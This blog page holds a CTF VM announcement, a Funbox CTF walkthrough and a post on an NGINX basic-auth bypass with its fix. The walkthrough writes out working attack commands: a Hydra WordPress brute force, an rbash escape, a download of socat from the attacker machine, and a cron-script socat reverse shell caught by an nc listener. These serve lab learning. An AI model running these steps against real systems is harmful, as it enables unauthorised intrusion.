Categories
CTF's My CTF's

GreenOptic CTF

GreenOptic is my fourth Capture the Flag box. It is rated as ‘Very Hard’ (as per the difficulty matrix). As with all of my CTFs, please run this in ‘Host Only’ mode – it does not need an internet connection.

Download Now

Don’t let the difficulty put you off though – the CTF is designed to be realistic, so you won’t come across anything you wouldn’t experience in a real environment.

You will need to enumerate this box very well, and likely chain together different bits of information and vulnerabilities in order to gain access.

Synopsis:

British Internet Service Provider GreenOptic has been subject to a large scale Cyber Attack. Over 5 million of their customer records have been stolen, along with credit card information and bank details.

GreenOptic have created an incident response team to analyse the attack and close any security holes. Can you break into their server before they fix their security holes?

You can download GreenOptic here.

SHA-256: 00af6eb4a29fa6447fb68ea4dae112de822c78d2021e210d8233e0b0ba8cc5e9
-----BEGIN PGP SIGNATURE-----
iQIzBAABCAAdFiEEbBiicuM2ITDGGcOJPvHWS2kZ5UMFAl8MkR0ACgkQPvHWS2kZ
5UOMHA//UsZaeOr5P/CW9ND8ouww9EaczP03SvfFqLClFadGeY5HhpCDA4+nYOjS
6mbJH3LHrNgTIPLUoEtZJvM5zShWxvaMNYgICkUBv6W0dgmfumuMhRaaLjyFtCXA
vwqApoaKm8Gooe0r5F3OfW7cIkGAShD5N/Qh0cEUmJnkH9GOW6DT3qQdZaTkvBP+
VoVisf2BP49fjyZQ2gF856LnNKZAgUOQp612fCIcFPoKEylNAbb7PCe1GNsq2yu4
8PteNSCCXiSQfU+X6YrHDyz5v8UAmZX8TuvccmfJpcfd9sWkwHGnuc4TEWPzwZOf
T7DosUGWeQb8wJxctYdsWz9Iw35lKf385GNzYoZ4p9tffhcDtMwatlhRTJG1eXmm
SHDBhOWhmLwBiD5VXKP6riv5wSNH8mYYgajsqzU3Vn56RofGqwtS+BYc6B3m1KXN
HC19Y7SZevOTVjmNXOjaj4rv6q08zj6p/CNDKf30WOHVokjPOIEQM+xcIJ8RRPMN
6tfUruMKqnXFtRFpulwGqBooWf9fMALR4Ha1vQUbnZ9oe6YY1aIaQDTnyW6BqZay
zLu0fVPdvDd7BUugVb52/qwpwGYpFwQe9CrGvWgA2yeFWm+0VKcxtDR7CyRzDVvM
hWKnf/K+4tLQ7HwB15gcMYwgVS2XZpNB/AP4fYYWcqZGrWqe1nw=
=aF4J
-----END PGP SIGNATURE-----

Once you’ve completed my CTF, let me know how you found it.

How difficult did you find GreenOptic?

View Results

Loading ... Loading ...
Categories
CTF's Walkthroughs

Funbox – CTF Walkthrough

Keeping up a full time job, and learning cybersecurity is very draining.

Sometimes it’s nice to do an easy box when you’re a bit too busy, so I decided to give Funbox a go, from VulnHub.

NMAP Scan

The NMAP scan revealed 4 open ports.

nmap -p- 192.168.56.134

I tend to enumerate ports in order, so I first looked at FTP and checked to see whether anonymous access was enabled.

Enumerating FTP

ftp -nv 192.168.56.134
user anonymous
password (not provided)

Anonymous login was not enabled. I wasn’t going to spend more time investigating FTP for now.

Enumerating SSH

I often attempt to make a connection to SSH as sometimes there are clues in the MOTD message that is displayed before logging in. Not on this box however, I needed credentials before getting any further.

Enumerating the website

Having found nothing useful with FTP or SSH, I moved onto enumerating the website. I immediately identified the website to be running WordPress.

Having identified this was WordPress, I started two scans.

wpscan --url http://funbox.fritz.box/ -e vp,vt,u --api-token REDACTED

If you don’t have a wpscan API token, you can get one here. It’s free for a certain amount of scans per day.

The WordPress scan identified two valid users (joe, and admin). No plugins were found and the WordPress version appeared to be up-to-date. I therefore decided to load Hydra to perform a brute force attack against WordPress.

I created a file called users.txt containing both usernames, and ran this command:

hydra -l users.txt -P /usr/share/wordlists/rockyou.txt -u 192.168.56.134 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Rather quickly, the password for Joe was identified (12345).

I logged into WordPress with my newly found credentials, but appeared to only have user access. Given there were no plugins installed, and WordPress was up-to-date, I was confident I couldn’t take this any further.

Using my new credentials

I tried to login to SSH with my new credentials.

ssh joe@192.168.56.134

Before I knew it, I had access to SSH. I noticed a file called mbox in the home directory of Joe (this is a file containing e-mails).

The e-mail indicated a backup script had been setup for ‘funny’, perhaps another user on the system?

I tried to visit the home folder for this user, but realised I was in a restricted rbash shell.

rbash is a restricted bash shell to lock down user access. There are a number of ways to escape rbash though. There’s a few cheat sheets online, but I used this one.

I tried a few of the methods for escaping my rbash shell, and eventually found a way to get full bash access:

awk 'BEGIN {system("/bin/bash")}'

I ran this on the system, and had a normal bash shell.

I had a look around the home directory of funny, and found the script in question.

I opened the .backup.sh file and saw that it was running a tar command. The backup script also had world-writable permissions which is a seriously bad idea.

I suspected this file was being run on a cronjob, and confirmed this using pspy.

Knowing this file was being run every minute, I could use this to gain the same permissions as the user running the script.

Firstly though, I downloaded a tool called socat on the box.

wget -o /tmp/socat http://192.168.56.1/socat
chmod +x /tmp/socat

I then modified the contents of .backup.sh to execute socat.

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.56.134:4444

On my local machine, I opened up a listener.

nc -nvlp 4444

I waited a minute for the script to be executed – my socat command was executed, and a session opened up in my listener as the root user.

I was expecting the shell to spawn as another user, but this was a nice easy finish to a nice easy box. Thanks to @0815R2d2.

Further Notes (an Edit)

A day after I wrote this walkthrough, I was contacted about how a root session was spawned instead of one by the user ‘funny’. I was shown a screenshot showing how the cronjob was being run by the user ‘funny’ so it should not have been possible to get a root shell.

I revisited my screen recording of me doing the CTF, which showed me getting root access straight away. How odd!

I booted the box again this morning. and analysed it in a bit more detail. Suddenly the answer became clear. I won’t disclose the actual findings on this blog, but I suggest you review pspy output very carefully over the course of a few minutes. You’ll work it out. Get in touch though if you find another way to get root from the ‘funny’ user – this box seems to have a few different paths.

Categories
Security

How an NGINX Config Error can cause a Security Breach

If you’re not familiar with NGINX, it is a very popular bit of software powering millions of web servers. In a nut shell, it is designed to be very efficient and is used on a lot of high traffic websites, such as Twitch, WordPress, and DropBox.

It’s not particularly difficult to install and configure, but I suppose it requires a bit more attention compared to Apache.

As I have recently learned, a slight misconfiguration can cause a security breach if you are not careful. This is to do with HTTP Basic Authorisation configuration within NGINX, and how NGINX prioritises ‘location’ segments within configuration files.

One of the reasons NGINX is so fast is that unlike Apache, it does not support the use of .htaccess files. As NGINX is not having to scan each folder on the web server for the presence of htaccess files, it gains a speed advantage. Normally, on an Apache web server, if you want to enable HTTP Basic Authentication so that users are required to enter a username/password for certain directories, you can use .htaccess files. This is not an option with NGINX, so it has to go into the main configuration file on the web server.

Example Config File

 location / {
 try_files $uri $uri/ /index.php?q=$uri&$args;
 }

 location /secretarea {

        auth_basic "Administrator Login";
	auth_basic_user_file /home/secureuser/.htpasswd;
 
 }

 location ~* \.php$ {
	# With php-fpm unix sockets
	fastcgi_pass phpfpm;
	include         fastcgi_params;
	fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
	fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
 }

Looking at the above config file, you can see that the main directory (/) is open access and does not require authentication. You may also assume that /secretarea is password protected (and you would be right, to an extent).

If you were to use this configuration, and then visit https://www.example-domain-name.com/secretarea/, you would be prompted for a password, as expected.

However, if you were to visit https://www.example-domain-name.com/secretarea/phpfile.php, you will be granted access straight away without being prompted for a password. This can cause a bit of a problem as it may not be immediately obvious that you have a problem.

The reason this occurs is because NGINX chooses one location block (based on a series of rules), and only one location block will win. When you’re visiting the PHP file directly, the location block at the bottom of the config file is taking precedence and therefore bypassing the location block requiring authorisation.

How to mitigate this?

To mitigate this, we first need to understand how NGINX prioritises location blocks.

Here is an extract written by Martin Redmond from a helpful Stack Overflow article:

location  = / {
  # matches the query / only.
  [ configuration A ] 
}
location  / {
  # matches any query, since all queries begin with /, but regular
  # expressions and any longer conventional blocks will be
  # matched first.
  [ configuration B ] 
}
location /documents/ {
  # matches any query beginning with /documents/ and continues searching,
  # so regular expressions will be checked. This will be matched only if
  # regular expressions don't find a match.
  [ configuration C ] 
}
location ^~ /images/ {
  # matches any query beginning with /images/ and halts searching,
  # so regular expressions will not be checked.
  [ configuration D ] 
}
location ~* \.(gif|jpg|jpeg)$ {
  # matches any request ending in gif, jpg, or jpeg. However, all
  # requests to the /images/ directory will be handled by
  # Configuration D.   
  [ configuration E ] 
}

The reason the mistake occurred in my example is because regular expression location blocks are matched first, whereas ‘configuration c’ style location blocks (as in our example) would have been de-prioritised.

To mitigate this, we can nest a location block within a location block. Or, in other words, include the PHP location block in our /secretarea block too, as well as it being a separate/independent block at the bottom of the config file for the main part of the website.

 location / {
 try_files $uri $uri/ /index.php?q=$uri&$args;
 }

 location /secretarea {

 location ~* \.php$ {
	# With php-fpm unix sockets
	fastcgi_pass phpfpm;
	include         fastcgi_params;
	fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
	fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
 }

        auth_basic "Administrator Login";
	auth_basic_user_file /home/secureuser/.htpasswd;
 
 }

 location ~* \.php$ {
	# With php-fpm unix sockets
	fastcgi_pass phpfpm;
	include         fastcgi_params;
	fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
	fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
 }

As NGINX will first identify the PHP regular expression block nested in our ‘secretarea’ location block first, it will take precedence over the non-nested block at the bottom of the configuration file, and therefore the authentication settings will be inherited from the parent block and apply to our PHP files too. Quite an easy mistake to make!